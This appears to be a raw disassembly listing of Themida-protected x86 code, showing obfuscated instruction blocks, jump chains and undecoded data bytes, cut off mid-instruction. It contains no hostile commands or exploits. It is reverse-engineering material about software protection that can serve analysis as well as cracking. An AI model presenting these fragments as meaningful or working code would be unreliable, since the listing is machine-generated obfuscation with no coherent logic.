loc_5A1AF2: ; CODE XREF: Themida_:loc_59FCD5j add edi, 39C09D25h sub esp, 4 mov [esp], edi xor dword ptr [esp], 248E675Ah jmp loc_59AAC5 ; --------------------------------------------------------------------------- aPvhd db 'PVhd<',0 ; DATA XREF: Themida_:005986F4o dd 24148900h, 0E6582FBAh, 0BFE6E968h, 0C4830000h, 24048F04h dd 0E924248Bh, 5AAEh ; --------------------------------------------------------------------------- loc_5A1B2C: ; CODE XREF: Themida_:005A4C35j mov ecx, ebp pop ebp sub edx, ecx push dword ptr [esp] pop ecx add esp, 4 xor edx, [esp] xor [esp], edx jmp loc_5A2153 ; --------------------------------------------------------------------------- loc_5A1B43: ; CODE XREF: Themida_:005A9EF7j pop edx add edx, ebx pop ebx add ebx, edx jmp loc_5ABAE8 ; --------------------------------------------------------------------------- dw 34FFh dd 0FB5AE924h, 515AFFFFh, 53565954h, 4BBh, 0D9895100h dd 0BBE9CE89h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1B6B: ; CODE XREF: Themida_:0059D7C7j xor ebx, [esp] mov esp, [esp] movsx ecx, al jmp loc_59C08D ; --------------------------------------------------------------------------- loc_5A1B79: ; CODE XREF: Themida_:005ABAA4j or ebx, 2B3D7309h jmp loc_59AA87 ; --------------------------------------------------------------------------- loc_5A1B84: ; CODE XREF: Themida_:005AF938j sub bl, 43h and dh, bl mov bx, [esp] add esp, 2 jmp loc_59E5C9 ; --------------------------------------------------------------------------- loc_5A1B95: ; CODE XREF: Themida_:005A6FC3j mov [esp], ebp mov ebp, 4 add ecx, ebp mov ebp, [esp] push ebx mov ebx, esp jmp loc_5AD974 ; --------------------------------------------------------------------------- loc_5A1BAA: ; CODE XREF: Themida_:005ACDE0j mov ebx, 30313146h shr ebx, 3 or ebx, 5A5222E4h inc ebx add ebx, 0C67515CCh add edx, ebx pop ebx jmp loc_5AF8BE ; --------------------------------------------------------------------------- loc_5A1BC7: ; CODE XREF: Themida_:005ACF60j jmp loc_5A5678 ; --------------------------------------------------------------------------- loc_5A1BCC: ; CODE XREF: Themida_:005A0A53j push esi push edi push 5C890167h pop edi and edi, 6906102Dh jge loc_5AB5E7 shl edi, 2 sub edi, 1724F75Ch jmp loc_5A5640 ; --------------------------------------------------------------------------- loc_5A1BEE: ; CODE XREF: Themida_:0059E549j mov esp, [esp] jmp loc_59B66B ; --------------------------------------------------------------------------- loc_5A1BF6: ; CODE XREF: Themida_:00599947j sub ecx, ebx push dword ptr [esp] pop ebx add esp, 4 add ecx, ebx push 136Ah jmp loc_5A6A8B ; --------------------------------------------------------------------------- loc_5A1C0B: ; CODE XREF: Themida_:005A8BD2j jmp loc_5A9A1E ; --------------------------------------------------------------------------- loc_5A1C10: ; CODE XREF: Themida_:0059BDC7j mov dh, 21h add bh, dh pop dx mov al, bh pop ebx add ch, 0F9h jmp loc_5A3E2A ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFF73BCh ; --------------------------------------------------------------------------- loc_5A1C2C: ; CODE XREF: Themida_:005A126Dj push ebx mov bh, 90h mov cl, bh pop ebx sub esp, 4 mov [esp], eax mov al, 93h mov dl, 23h xor dl, al mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub dl, cl pop ecx add dl, ch push dword ptr [esp] pop ecx add esp, 4 add al, 0C9h sub al, dl jmp loc_5A9756 ; --------------------------------------------------------------------------- loc_5A1C6E: ; CODE XREF: Themida_:005A6600j push 269Ch jmp loc_59F8A6 ; --------------------------------------------------------------------------- loc_5A1C78: ; CODE XREF: Themida_:005A5538j jns loc_5A3E91 jmp loc_5A8C22 ; --------------------------------------------------------------------------- db 0E9h dd 6397h ; --------------------------------------------------------------------------- loc_5A1C88: ; CODE XREF: Themida_:0059EFA2j ; Themida_:loc_5AD9A0j add esi, eax sub esi, 72D36D82h pop eax add esi, 4 push esi push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_5A84F9 ; --------------------------------------------------------------------------- loc_5A1CA2: ; CODE XREF: Themida_:00598E0Cj sub ch, 0D7h jmp loc_5A785A ; --------------------------------------------------------------------------- loc_5A1CAA: ; CODE XREF: Themida_:00599D5Fj push edx mov dl, 10h dec dl xor dl, 23h inc dl and dl, 14h sub dl, 6Ch add al, dl jmp loc_5A9117 ; --------------------------------------------------------------------------- loc_5A1CC1: ; CODE XREF: Themida_:005ACD37j push ebp push small 920h mov bp, [esp] add esp, 2 push ax mov ax, 3043h xor bp, ax jmp loc_5A47F1 ; --------------------------------------------------------------------------- loc_5A1CDB: ; CODE XREF: Themida_:loc_5AA0E7j or eax, 220A4DF3h jnb loc_59DE02 xor eax, 0E2ABFFF6h jmp loc_5A8F01 ; --------------------------------------------------------------------------- db 53h ; --------------------------------------------------------------------------- loc_5A1CF1: ; CODE XREF: Themida_:0059EE54j push edi mov edi, 5E1A5C3Bh or edi, 78025DD3h not edi inc edi add edi, 6C4964B5h and edi, 21622C6Eh or edi, 789B0F0Eh push edx push esi mov esi, 4B066054h xor esi, 46515C5Ah add esi, 1 sub esi, 0CF25232Bh mov edx, esi pop esi xor edx, 97851FB6h add edi, edx pop edx jmp loc_5AB3BF ; --------------------------------------------------------------------------- loc_5A1D39: ; CODE XREF: Themida_:005A43B9j xor [esp], eax xor eax, [esp] xor [esp], eax not eax xchg eax, [esp] push dword ptr [esp] jmp loc_59EDD8 ; --------------------------------------------------------------------------- loc_5A1D4F: ; CODE XREF: Themida_:005AD21Fj pop edi add edi, 4 sub esp, 4 mov [esp], ecx push ebx push 6E6C23A6h mov ebx, [esp] jmp loc_5A8F17 ; --------------------------------------------------------------------------- loc_5A1D6A: ; CODE XREF: Themida_:0059A797j add eax, 4 sub esp, 4 mov [esp], edx mov edx, 4 sub eax, edx pop edx xchg eax, [esp] mov esp, [esp] mov [esp], ebp jmp loc_5AC6B0 ; --------------------------------------------------------------------------- loc_5A1D8E: ; CODE XREF: Themida_:0059ACF7j add eax, 693F2226h jmp loc_598EE6 ; --------------------------------------------------------------------------- aB_gbiZrsx db '│би_gb┴сZRИ∙[',0 db 0 ; --------------------------------------------------------------------------- loc_5A1DA7: ; CODE XREF: Themida_:0059E166j mov [esp], edx push eax push ecx push edi jmp loc_5A00BF ; --------------------------------------------------------------------------- loc_5A1DB2: ; CODE XREF: Themida_:005A24A3j pop eax jmp loc_5AD23A ; --------------------------------------------------------------------------- loc_5A1DB8: ; CODE XREF: Themida_:00599C8Dj push cx pushf jmp loc_5AC8B4 ; --------------------------------------------------------------------------- loc_5A1DC0: ; CODE XREF: Themida_:0059F8E3j sub edi, 6AAC3485h pop esi add edi, 107C2D42h jmp loc_59C7A3 ; --------------------------------------------------------------------------- loc_5A1DD2: ; CODE XREF: Themida_:005A42F9j push dword ptr [esp] pop ebx add esp, 4 push eax push edi mov edi, 13744B2Bh mov eax, 2C00BDDEh sub eax, edi pop edi sub ebx, 50B803E4h sub ebx, eax add ebx, 50B803E4h pop eax pop esi jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A1DFD: ; CODE XREF: Themida_:loc_5A6716j or ebx, 78A4342Dh add ebx, 0F42626C9h jmp loc_5A3BD7 ; --------------------------------------------------------------------------- loc_5A1E0E: ; CODE XREF: Themida_:005AE518j push edx mov edx, 2FD30D84h mov ecx, edx pop edx jmp loc_59E226 ; --------------------------------------------------------------------------- loc_5A1E1C: ; CODE XREF: Themida_:005A36D2j ; Themida_:005A5DF8j pop esi push 2B39h mov [esp], ebp mov ebp, 63913262h add ebp, 55FF10CFh push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 shr ebp, 1 or ebp, 13072215h inc ebp push edi mov edi, 0CA55F30h shr edi, 5 jmp loc_5AD875 ; --------------------------------------------------------------------------- aRithrg db 'R┴Бh░g',0 dd 243C8900h, 4BFh, 8BFA0100h, 82E9243Ch db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1E6B: ; CODE XREF: Themida_:00599A71j add ecx, 4 xchg ecx, [esp] pop esp add bl, 0C9h sub bl, 9Ah jmp loc_59FE8F ; --------------------------------------------------------------------------- dd 8853F488h, 5BDD88E3h, 0C55EE9h db 0 ; --------------------------------------------------------------------------- loc_5A1E8D: ; CODE XREF: Themida_:005A62F5j mov eax, 47914160h add eax, 0F7FD8841h add ebx, eax pop eax jmp loc_5A8223 ; --------------------------------------------------------------------------- loc_5A1E9F: ; CODE XREF: Themida_:005AB34Ej jo loc_5AF2AC inc eax jns loc_5A7A2A jmp loc_5A69B9 ; --------------------------------------------------------------------------- db 0E9h, 2Eh, 9Ah dd 0E2C10000h, 0A4840F08h, 81FFFFA5h, 0BAEE5AC2h, 83E0E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1ECA: ; CODE XREF: Themida_:0059B5DAj ; Themida_:0059BE4Ej push 147Fh mov [esp], eax add dword ptr [esp], 0FFFFFFFFh jmp loc_5A9F3F ; --------------------------------------------------------------------------- loc_5A1EDB: ; CODE XREF: Themida_:0059E91Aj or esi, edx pop edx shr esi, 4 shl esi, 1 push esi not dword ptr [esp] pop esi xor esi, 0DD201059h not esi sub esp, 4 mov [esp], edi push 0F8629F7h pop edi jmp loc_5990B1 ; --------------------------------------------------------------------------- aTsN db 'TИ"n',0 align 2 loc_5A1F0A: ; CODE XREF: Themida_:0059F230j xor ebx, [esp] jmp loc_5A64C3 ; --------------------------------------------------------------------------- loc_5A1F12: ; CODE XREF: Themida_:005AF3ADj not edi xchg eax, edi jmp loc_5A4BF6 ; --------------------------------------------------------------------------- loc_5A1F1A: ; CODE XREF: Themida_:005A844Bj mov eax, esi pop esi mov edx, [esp] add esp, 4 jmp loc_59BF53 ; --------------------------------------------------------------------------- db 1 aSla db 'фИ▀²',0 align 2 dw 0C481h dd 4, 0AEE81h, 49E918B9h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1F43: ; CODE XREF: Themida_:0059A594j mov esi, [esp] jmp loc_59DB94 ; --------------------------------------------------------------------------- db 59h dd 0C12AC05h, 0A5DE937h, 59B60000h, 148BF400h, 4C48324h dd 0E958E130h, 0FFFF781Fh ; --------------------------------------------------------------------------- loc_5A1F68: ; CODE XREF: Themida_:005AF3DAj pop edx add eax, esi jmp loc_59CA9A ; --------------------------------------------------------------------------- loc_5A1F70: ; CODE XREF: Themida_:005AFA19j sub ebp, 499D4BAEh jg loc_5A1744 push ecx mov ecx, 6C95F6Bh add ecx, 0A5C785EEh jmp loc_5A8F51 ; --------------------------------------------------------------------------- loc_5A1F8D: ; CODE XREF: Themida_:005AF4B3j add esi, 2 jmp loc_5A7993 ; --------------------------------------------------------------------------- loc_5A1F95: ; CODE XREF: Themida_:005A4BFFj mov ebx, [esp] add esp, 4 push 7C49h mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5A14CB ; --------------------------------------------------------------------------- dw 0E680h dd 60AE9A5h, 52570000h, 6B3AF468h, 0C2815A46h, 3C883F85h dd 49278D0Fh, 0B3E90000h, 540000DDh, 0CB14E9h db 0, 89h, 0C0h ; --------------------------------------------------------------------------- loc_5A1FF3: ; CODE XREF: Themida_:005A8C1Dj mov eax, ebp pop ebp mov ebp, eax jmp loc_5A94D3 ; --------------------------------------------------------------------------- aI4SA db '┴4$Ис─',0 db 0 ; --------------------------------------------------------------------------- loc_5A2005: ; CODE XREF: Themida_:0059A659j add ebx, eax jmp loc_59C32C ; --------------------------------------------------------------------------- loc_5A200C: ; CODE XREF: Themida_:005A813Fj pop edi add edx, 0FFFFFFFFh jmp loc_59E76A ; --------------------------------------------------------------------------- loc_5A2018: ; CODE XREF: Themida_:005A1750j jmp loc_5AE2C3 ; --------------------------------------------------------------------------- loc_5A201D: ; CODE XREF: Themida_:0059FA11j add ebx, 1FE85A32h pop small word ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A202B: ; CODE XREF: Themida_:005AF4D6j dec eax or eax, 41C43B51h shr eax, 5 add eax, 447D5B63h jmp loc_5A2C2E ; --------------------------------------------------------------------------- loc_5A203E: ; CODE XREF: Themida_:005A4D58j mov esp, [esp] xchg eax, [esp] jmp loc_59F32F ; --------------------------------------------------------------------------- db 53h, 0BBh, 0C0h db 50h, 0B7h, 71h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5AB55F ; --------------------------------------------------------------------------- loc_5A205D: ; CODE XREF: Themida_:005A69F6j mov esi, 4B0B3C81h sub esi, 0FFFFFFFFh sub esp, 4 mov [esp], ebx mov ebx, 6CB07193h jmp loc_599297 ; --------------------------------------------------------------------------- db 5Eh dd 0CA1DE9h, 81E68900h, 4C6h, 4C68300h, 0E9243487h, 0FFFF8ED5h ; --------------------------------------------------------------------------- loc_5A2094: ; CODE XREF: Themida_:005AE9B0j sub esi, 7E35AC21h sub ecx, 561604B7h add ecx, esi add ecx, 561604B7h mov esi, [esp] jmp loc_59F594 ; --------------------------------------------------------------------------- aBsaSo db '│ИA!',8,'бИoж',0 db 0 ; --------------------------------------------------------------------------- loc_5A20BB: ; CODE XREF: Themida_:005AD870j mov ecx, 5AE34511h shr ecx, 2 shl ecx, 8 xchg esi, ecx jmp loc_59F04D ; --------------------------------------------------------------------------- loc_5A20CD: ; CODE XREF: Themida_:005ADD07j sub ebp, edx push eax mov eax, 44593B19h shl eax, 6 and eax, 0DD25D3Eh inc eax shr eax, 8 shl eax, 1 jmp loc_5AC6A4 ; --------------------------------------------------------------------------- loc_5A20E8: ; CODE XREF: Themida_:0059B012j jnz loc_5A47E4 xor edx, 65B5EAEFh xor esi, edx jmp loc_5A1550 ; --------------------------------------------------------------------------- byte_5A20FB db 0FFh ; DATA XREF: Themida_:005987A8o a4ZhH db '4$Zh',0Ah db 'h',0 align 4 dd 68241C89h, 121h, 4EC81h, 0E9540000h, 0FFFFCE1Bh ; --------------------------------------------------------------------------- loc_5A2118: ; CODE XREF: Themida_:005AD7EAj mov cl, ah pop eax mov ebx, [esp] push ebp jmp loc_5A10F5 ; --------------------------------------------------------------------------- loc_5A2124: ; CODE XREF: Themida_:0059DDC9j add ecx, 6C631F2Ch add ecx, edi sub ecx, 6C631F2Ch mov edi, [esp] push ecx jmp loc_59C351 ; --------------------------------------------------------------------------- db 87h dd 87D6F7F7h, 0FEE956F7h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2147: ; CODE XREF: Themida_:loc_5A6F66j push ecx push 27318A1h pop ecx jmp loc_5A80BE ; --------------------------------------------------------------------------- loc_5A2153: ; CODE XREF: Themida_:005A1B3Ej xor edx, [esp] pop esp sub esp, 4 mov [esp], esp push esi mov esi, 4 jmp loc_59D3D0 ; --------------------------------------------------------------------------- loc_5A216B: ; CODE XREF: Themida_:005AAEE9j mov ecx, 4C7447A6h add ecx, 6404691Ch not ecx neg ecx jmp loc_5A9094 ; --------------------------------------------------------------------------- loc_5A217F: ; CODE XREF: Themida_:005A5AB0j add ebx, 12CFF3CEh or ecx, ebx pop ebx inc ecx inc ecx push ebp mov ebp, 0FDBC9E32h add ecx, ebp mov ebp, [esp] add esp, 4 sub ebx, ecx pop ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A21A0: ; CODE XREF: Themida_:005AE23Bj sub eax, 49F667E5h jmp loc_5A5640 ; --------------------------------------------------------------------------- loc_5A21AA: ; CODE XREF: Themida_:0059C8DAj pop edi or ebp, eax pop eax jmp loc_5A92D3 ; --------------------------------------------------------------------------- byte_5A21B3 db 66h ; DATA XREF: Themida_:005988A4o dd 0E924048Bh, 0FFFFC9F4h ; --------------------------------------------------------------------------- loc_5A21BC: ; CODE XREF: Themida_:005A4ACCj mov [esp], edx jmp loc_5A8C22 ; --------------------------------------------------------------------------- dd 2444815Dh, 0EA4C3104h, 0F97CE927h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A21D2: ; CODE XREF: Themida_:005A90B9j mov ebp, 79356937h xchg edi, ebp inc edi xchg edi, ebp xor ebp, 8FF2FB0h add ebp, 8E35B97Ch jmp loc_5A2937 ; --------------------------------------------------------------------------- byte_5A21ED db 0FFh, 34h, 24h ; DATA XREF: Themida_:00598950o dd 582434FFh, 4C481h, 0EC830000h, 24048904h, 0E951E089h dd 6DD7h ; --------------------------------------------------------------------------- loc_5A2208: ; CODE XREF: Themida_:005AB9D2j xor edi, 52DE3100h jg loc_5A693B push ecx mov ecx, 4E77E6Eh jmp loc_5A101F ; --------------------------------------------------------------------------- db 5 dd 6C9912B4h, 0D402800Fh, 0E9550000h, 0FFFFDA7Fh ; --------------------------------------------------------------------------- loc_5A2230: ; CODE XREF: Themida_:005AB0CDj ; Themida_:005AE80Dj add ebx, 0DA2FA878h jmp loc_5A7C3F ; --------------------------------------------------------------------------- loc_5A223B: ; CODE XREF: Themida_:005A8A3Bj mov eax, edx mov ebp, eax pop eax mov edx, [esp] add esp, 4 push ecx mov ecx, 886A8B89h mov edi, ecx mov ecx, [esp] add esp, 4 add edi, ebp mov ebp, [esp] add esp, 4 add ebx, 6FB0B3Fh add ebx, edi sub ebx, 6FB0B3Fh pop edi jmp loc_59B351 ; --------------------------------------------------------------------------- loc_5A2270: ; CODE XREF: Themida_:005AF1F4j mov ecx, [esp] add esp, 4 push 36CCh mov [esp], eax push esp jmp loc_5A2B0F ; --------------------------------------------------------------------------- loc_5A2284: ; CODE XREF: Themida_:0059B29Bj pop edx add eax, 16B87547h jmp loc_59AA37 ; --------------------------------------------------------------------------- db 83h dd 32E904C4h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2297: ; CODE XREF: Themida_:0059DCE0j push ecx mov ecx, 3FF878B9h not ecx jmp loc_5A6D26 ; --------------------------------------------------------------------------- loc_5A22A4: ; CODE XREF: Themida_:0059FA94j mov esi, ecx mov ecx, [esp] add esp, 4 push esi jmp loc_5AE42D ; --------------------------------------------------------------------------- aXs db '╟ЕИ)╦',0 align 4 loc_5A22BC: ; CODE XREF: Themida_:005A5AE8j pop ebx add edi, 0BC00F3D9h and eax, edi push dword ptr [esp] pop edi jmp loc_5AE980 ; --------------------------------------------------------------------------- loc_5A22CE: ; CODE XREF: Themida_:0059BD21j push 1959h mov [esp], ebx mov ebx, 719C7484h add [esp+4], ebx pop ebx push dword ptr [esp] mov edx, [esp] push edx mov edx, esp push ecx mov ecx, 5A5014FAh and ecx, 70EB4DDDh neg ecx and ecx, 470C43E4h and ecx, 421E33C7h jmp loc_59B400 ; --------------------------------------------------------------------------- dd 9F6E5CBEh, 6E5EB904h, 0E0E9049Fh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2317: ; CODE XREF: Themida_:005ABA39j pop dword ptr [esp] jmp loc_5AD937 ; --------------------------------------------------------------------------- loc_5A231F: ; CODE XREF: Themida_:005A573Dj push 2BDBh mov [esp], esp push ebp jmp loc_5AA671 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 a_iSel db '╧_i;',0Bh,'Иel',0 align 2 loc_5A233A: ; CODE XREF: Themida_:0059BC88j ; Themida_:0059FB2Fj jns loc_59986E add dl, 0D7h add bl, dl pop edx sub bl, 94h sub bl, 49h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0EBE9h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2357: ; CODE XREF: Themida_:005A0B16j mov esp, [esp] xor [esp], eax jmp loc_5A7FE0 ; --------------------------------------------------------------------------- dw 0E951h dd 5905h ; --------------------------------------------------------------------------- loc_5A2368: ; CODE XREF: Themida_:005AA388j mov bl, 4Dh add bl, 0E9h sub bl, 4Fh add bl, 0D8h jnb loc_5AE7C0 jmp loc_5A5039 ; --------------------------------------------------------------------------- loc_5A237E: ; CODE XREF: Themida_:005AA6FFj sub cl, 0C1h jmp loc_5A63A3 ; --------------------------------------------------------------------------- loc_5A2386: ; CODE XREF: Themida_:005A9310j pop esp jmp loc_5A67CA ; --------------------------------------------------------------------------- loc_5A238C: ; CODE XREF: Themida_:005A0384j not dword ptr [esp] pop eax neg eax jl loc_59D512 shl eax, 1 jnp loc_59D3AA jmp loc_5A05DF ; --------------------------------------------------------------------------- loc_5A23A5: ; CODE XREF: Themida_:0059EAF6j jmp loc_5AF14D ; --------------------------------------------------------------------------- word_5A23AA dw 0B068h ; DATA XREF: Themida_:0059886Co dd 0E900001Bh, 0FFFF989Ch ; --------------------------------------------------------------------------- loc_5A23B4: ; CODE XREF: Themida_:005A2BF2j add ebx, 362F79C6h mov edi, ebx pop ebx sub eax, edi jmp loc_59C74D ; --------------------------------------------------------------------------- loc_5A23C4: ; CODE XREF: Themida_:005A3455j ; Themida_:005A91AAj add ebx, 5EA10964h push edi mov edi, 7FB70AB4h jmp loc_5AF3DF ; --------------------------------------------------------------------------- loc_5A23D5: ; CODE XREF: Themida_:005ADB3Dj push ebp jmp loc_5A4AFB ; --------------------------------------------------------------------------- loc_5A23DB: ; CODE XREF: Themida_:0059E627j push 0BB9h mov [esp], ecx push esi jmp loc_5AA8C4 ; --------------------------------------------------------------------------- loc_5A23E9: ; CODE XREF: Themida_:005AB939j mov dh, ch mov ecx, [esp] jmp loc_5A411A ; --------------------------------------------------------------------------- loc_5A23F3: ; CODE XREF: Themida_:0059EE29j shr esi, 6 xor esi, 0E7B40B5h xor esi, 0AF3A59FFh xor ebx, esi pop esi jmp loc_59C13D ; --------------------------------------------------------------------------- word_5A240A dw 8B66h ; DATA XREF: Themida_:00598764o dd 54532404h, 4EC815Bh, 89000000h, 0BA52242Ch, 122837E5h dd 685AD589h, 2A3h, 0BB241C89h, 636643BFh, 0F08EBC1h, 0FFB32284h dd 93DBF7FFh, 0B84E9h db 0 ; --------------------------------------------------------------------------- loc_5A2441: ; CODE XREF: Themida_:005A4255j ; Themida_:005ABAB0j jmp loc_5AED3D ; --------------------------------------------------------------------------- loc_5A2446: ; CODE XREF: Themida_:0059CBEAj push dword ptr [esp] pop edi jmp loc_59FDEA ; --------------------------------------------------------------------------- db 0C1h dd 0C58108E5h, 0DCE2CE04h, 4A22E9h, 74FF5000h, 18E90424h db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2467: ; CODE XREF: Themida_:005AD4FDj pop esp jmp loc_59B445 ; --------------------------------------------------------------------------- db 80h, 0E6h, 0ADh dd 30B9F680h, 0E8005AF5h, 0BDE1E9h db 0 ; --------------------------------------------------------------------------- loc_5A247D: ; CODE XREF: Themida_:00599A41j pop eax jmp loc_5A76BA ; --------------------------------------------------------------------------- loc_5A2483: ; CODE XREF: Themida_:005A7EECj push ebp mov ebp, 830E41C8h add edi, ebp jmp loc_59AC43 ; --------------------------------------------------------------------------- loc_5A2490: ; CODE XREF: Themida_:00599A64j ; Themida_:005A3353j mov eax, 18D1240Bh push edi mov edi, eax push edi pop ecx mov edi, [esp] add esp, 4 jmp loc_5A1DB2 ; --------------------------------------------------------------------------- loc_5A24A8: ; CODE XREF: Themida_:005AABD1j push 5270h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push 51EEh mov [esp], ebp push 64FAh mov [esp], eax mov eax, 0FBE3F09h mov ebp, 0FBE3F0Dh xor ebp, eax jmp loc_5AB6DD ; --------------------------------------------------------------------------- loc_5A24DB: ; CODE XREF: Themida_:005AA4D6j mov cl, 81h mov al, cl pop ecx mov bh, al pop ax add bh, ch jmp loc_5A11EA ; --------------------------------------------------------------------------- loc_5A24EB: ; CODE XREF: Themida_:005A6BC8j xor [esp], ebx jmp loc_5ACC93 ; --------------------------------------------------------------------------- byte_5A24F3 db 66h ; DATA XREF: Themida_:0059873Co dd 6824048Bh, 4D24h, 0FF8D14E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2501: ; CODE XREF: Themida_:0059DA51j push 65B3h mov [esp], esi push 1256h jmp loc_59CD80 ; --------------------------------------------------------------------------- loc_5A2513: ; CODE XREF: Themida_:005A7E1Cj pop edx add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_5ACE03 ; --------------------------------------------------------------------------- loc_5A2524: ; CODE XREF: Themida_:005A4A9Aj sub ebp, 5C367BF9h or ebp, 6FD711BDh jmp loc_5A065A ; --------------------------------------------------------------------------- loc_5A2535: ; CODE XREF: Themida_:0059BD0Aj mov [esp], eax mov eax, 48654161h mov ebp, eax pop eax jmp loc_5A54FC ; --------------------------------------------------------------------------- db 81h, 0C3h, 9 dd 0E90FD973h, 6EE5h ; --------------------------------------------------------------------------- loc_5A2550: ; CODE XREF: Themida_:005A348Dj ; Themida_:005ABF6Bj ... pop edi pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] sub eax, 128D7BD8h push 2938h jmp loc_5AE582 ; --------------------------------------------------------------------------- loc_5A256D: ; CODE XREF: Themida_:0059996Aj ; Themida_:005A8AA0j push esp jmp loc_5A2717 ; --------------------------------------------------------------------------- loc_5A2573: ; CODE XREF: Themida_:005AC107j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5AB4A4 ; --------------------------------------------------------------------------- loc_5A258A: ; CODE XREF: Themida_:005AEBA9j sub esp, 4 jmp loc_5ABD49 ; --------------------------------------------------------------------------- byte_5A2595 db 68h, 4Bh, 37h ; DATA XREF: Themida_:00598714o dd 4890000h, 54B5B824h, 0E8D1435Ch, 43EE9h db 0 ; --------------------------------------------------------------------------- loc_5A25A9: ; CODE XREF: Themida_:005A4051j sub ebx, 12D09ADAh xor edi, ebx pop ebx not edi add edi, 59EBF62h jmp loc_59FD2A ; --------------------------------------------------------------------------- byte_5A25BF db 66h ; DATA XREF: Themida_:005987E8o dd 0E924048Bh, 0FFFF8F9Dh, 0A4625B05h, 2434FF57h, 4C4815Dh dd 0E9000000h, 0C13Dh, 6B3D68h, 24048900h, 7EE9F088h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A25EB: ; CODE XREF: Themida_:005AE358j sub bl, cl pop ecx mov ecx, [esp] jmp loc_5A8B9B ; --------------------------------------------------------------------------- dw 0C281h dd 52B907C3h, 9EF0E951h, 24D3FFFFh, 98E99C24h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A260B: ; CODE XREF: Themida_:005A0D03j pop esp sar byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A2615: ; CODE XREF: Themida_:005A2852j ; Themida_:005A8173j add edx, ecx push edi jmp loc_5A5AC6 ; --------------------------------------------------------------------------- db 83h, 0C2h, 4 dd 31241433h, 14332414h, 24248B24h, 592434FFh, 8904EC83h dd 0E389241Ch, 4C381h, 0EB830000h, 241C3304h, 0FFC9DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2649: ; CODE XREF: Themida_:005AE428j add ebx, 695F7241h add ebx, ebp push edx mov edx, 695F7241h sub ebx, 37F443CBh jmp loc_59D7B1 ; --------------------------------------------------------------------------- dw 0E992h dd 0FFFF8CD8h ; --------------------------------------------------------------------------- loc_5A2668: ; CODE XREF: Themida_:0059D18Ej add ebp, 4 push eax mov eax, 4 jmp loc_599568 ; --------------------------------------------------------------------------- byte_5A2679 db 0ADh, 5, 6Eh ; DATA XREF: Themida_:005988F0o dd 2915B436h, 4EC83D8h, 0E9240C89h, 0FFFF9915h ; --------------------------------------------------------------------------- loc_5A268C: ; CODE XREF: Themida_:005A972Dj add dword ptr [esp+8], 7EDC5AA0h pop eax sub dword ptr [esp+4], 1BEE7CFAh sub [esp+4], edi add dword ptr [esp+4], 1BEE7CFAh push edi jmp loc_5A9016 ; --------------------------------------------------------------------------- loc_5A26AF: ; CODE XREF: Themida_:0059BC4Bj push eax mov eax, 67C50F2Dh xor esi, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_59BBF1 ; --------------------------------------------------------------------------- dw 97E9h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A26CB: ; CODE XREF: Themida_:005A3A1Cj mov esi, 4 mov edx, esi pop esi add eax, 6E657A1Eh sub eax, edx push esi mov esi, 57271960h jmp loc_5A4BB1 ; --------------------------------------------------------------------------- db 54h, 8Bh, 1Ch dd 4C48324h, 1461BA52h, 0FFE968FEh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A26F7: ; CODE XREF: Themida_:005A4746j add ecx, 4 push 16C5h mov [esp], ebx mov ebx, 4 push ebx jmp loc_5AD15E ; --------------------------------------------------------------------------- loc_5A2710: ; CODE XREF: Themida_:005AB7E9j push ecx push edx jmp loc_5AD843 ; --------------------------------------------------------------------------- loc_5A2717: ; CODE XREF: Themida_:005A256Ej pop dword ptr [esp] sub esp, 4 mov [esp], ecx push ebx jmp loc_5A4398 ; --------------------------------------------------------------------------- loc_5A2729: ; CODE XREF: Themida_:005A19C1j pop ebx jmp loc_5A68C8 ; --------------------------------------------------------------------------- db 8Fh dd 20E92404h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2737: ; CODE XREF: Themida_:0059F816j not ecx jmp loc_59E8A6 ; --------------------------------------------------------------------------- dw 0C483h dd 6DDC6804h, 0C890000h, 3033B924h, 0C1811750h, 5D164FFDh dd 0D115E9h db 0 ; --------------------------------------------------------------------------- loc_5A2759: ; CODE XREF: Themida_:005A977Dj shr eax, 6 jmp loc_5A0898 ; --------------------------------------------------------------------------- db 0B0h, 2, 88h dd 0F98858C7h, 0C3C9805Bh, 3D1A68h, 24048900h, 8BAEE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A277A: ; CODE XREF: Themida_:0059B07Aj xor edx, 4AE42521h not edx shl edx, 6 sub edx, 